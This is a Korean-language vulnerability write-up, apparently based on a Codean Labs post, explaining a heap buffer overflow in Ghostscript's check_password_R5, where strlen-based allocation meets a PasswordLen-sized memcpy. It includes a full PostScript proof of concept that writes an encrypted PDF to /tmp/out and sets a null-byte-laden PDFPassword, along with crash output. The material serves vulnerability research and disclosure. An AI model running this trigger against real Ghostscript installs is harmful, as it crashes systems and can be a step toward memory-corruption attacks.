https://codeanlabs.com/blog/research/ghostscript-wrap-up-overflowing-buffers/
Ghostscript는 PDF 해석 기능을 제공하며, PDF 문서가 암호화된 경우 이를 해독하기 위해 PDFPassword 문자열을 사용합니다. 특히, PDF 표준에서 정의된 여러 암호화 방식 중 하나인 R5(RC4 128비트 암호화)를 사용할 경우 check_password_R5(...) 함수가 호출됩니다.
static int check_password_R5(pdf_context *ctx, char *Password, int PasswordLen, int KeyLen)
{
int code;
if (PasswordLen != 0) {
pdf_string *P = NULL, *P_UTF8 = NULL;
code = check_user_password_R5(ctx, Password, PasswordLen, KeyLen);
if (code >= 0)
return 0;
code = check_owner_password_R5(ctx, Password, PasswordLen, KeyLen);
if (code >= 0)
return 0;
/* If the supplied Password fails as the user *and* owner password, maybe its in
* the locale, not UTF-8, try converting to UTF-8
*/
code = pdfi_object_alloc(ctx, PDF_STRING, strlen(ctx->encryption.Password), (pdf_obj **)&P);
if (code < 0)
return code;
memcpy(P->data, Password, PasswordLen);
pdfi_countup(P);
code = locale_to_utf8(ctx, P, &P_UTF8);
if (code < 0) {
pdfi_countdown(P);
return code;
}
code = check_user_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
if (code >= 0) {
pdfi_countdown(P);
pdfi_countdown(P_UTF8);
return code;
}
code = check_owner_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
pdfi_countdown(P);
pdfi_countdown(P_UTF8);
if (code >= 0)
return code;
}
code = check_user_password_R5(ctx, (char *)"", 0, KeyLen);
if (code >= 0)
return 0;
return check_owner_password_R5(ctx, (char *)"", 0, KeyLen);
}
해당 check_password_R5(...) 함수는 입력된 PDFPassword를 사용자 및 소유자 비밀번호로 확인한 후, 실패할 경우 UTF-8 변환을 시도합니다.
이 과정에서 취약점이 발생했습니다.
locale_to_utf8(...) 함수가 호출되기 전에 비밀번호가 새로 할당된 버퍼에 memcpy(...) 됩니다.strlen(...))와 복사 크기(PasswordLen) 불일치 문제 발생strlen(ctx->encryption.Password)strlen(...)은 첫 번째 널 바이트(null-byte)를 만나면 문자열의 길이를 결정합니다.PasswordLenPasswordLen은 PDFPassword PostScript 문자열의 실제 크기입니다.strlen(...)이 실제 길이를 제대로 계산하지 못하고 버퍼 크기를 작게 할당할 수 있습니다.memcpy(...)에서 PasswordLen(실제 비밀번호 크기)만큼 복사할 때 버퍼 크기를 초과하여 데이터가 복사되면서 힙 버퍼 오버플로우(Heap Buffer Overflow) 가 발생할 수 있습니다.저장되는 데이터를 토대로 설명하자면 아래와 같습니다.
\000 은 PostScript에서 null 바이트를 인코딩합니다./PDFPassword (hello\000world)def
strlen은 길이가 5인 것으로 간주합니다. memcpy는 다음과 같습니다.// char[5] "hello\000world" 11
memcpy(P->data, Password, PasswordLen);
이에 따라 PostScript 코드에서 PDFPassword는 “hello\000world”로 설정되며, 이는 PostScript 문자열로 길이가 11이지만, strlen(...)은 첫 번째 null-byte를 만나 5를 반환하게 됩니다. 결과적으로 5바이트 크기의 버퍼가 할당된 상태에서 11바이트 데이터를 복사하게 되어 버퍼 오버플로우가 발생합니다.
취약점을 트리거하는 poc 코드로, PostScript로 작성되었습니다.
1. 취약점 유발 PDF 파일 생성
/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def
2. PDF 데이터를 파일에 저장
/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile
/tmp/out 파일에 저장하는 부분입니다.3. 비밀번호 설정 (취약점 트리거)
/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def
PDFPassword를 특정 문자열로 설정하는 부분입니다."hello\000BBBB..."를 사용합니다.hello\000 → "hello" 뒤에 NULL 바이트(\000) 가 포함됨BBBB... → 버퍼 크기보다 큰 데이터 (취약점 트리거)check_password_R5(...) 함수로 전달됩니다.4. Ghostscript PDF 해석 실행 (취약점 트리거)
(/tmp/out) (r) file runpdf
/tmp/out에 저장된 PDF 파일을 실행하도록 Ghostscript에게 명령합니다.5. PoC 실행 및 전체 코드
$ ghostscript -dNODISPLAY poc.ps
GPL Ghostscript 10.02.0 (2023-09-13)
Copyright (C) 2023 Artifex Software, Inc. All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
zsh: segmentation fault (core dumped) ghostscript -dNODISPLAY poc.ps
% Simple PDF with R5 encryption.
% This is not a very valid PDF but we only need to reach the decryption logic
/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def
% Write the PDF data to a temporary file
/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile
% Set the PDFPassword to a buffer whose length is larger than its strlen
/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def
% Run the PDF interpreter on the file
(/tmp/out) (r) file runpdf
% 종료
showpage
quit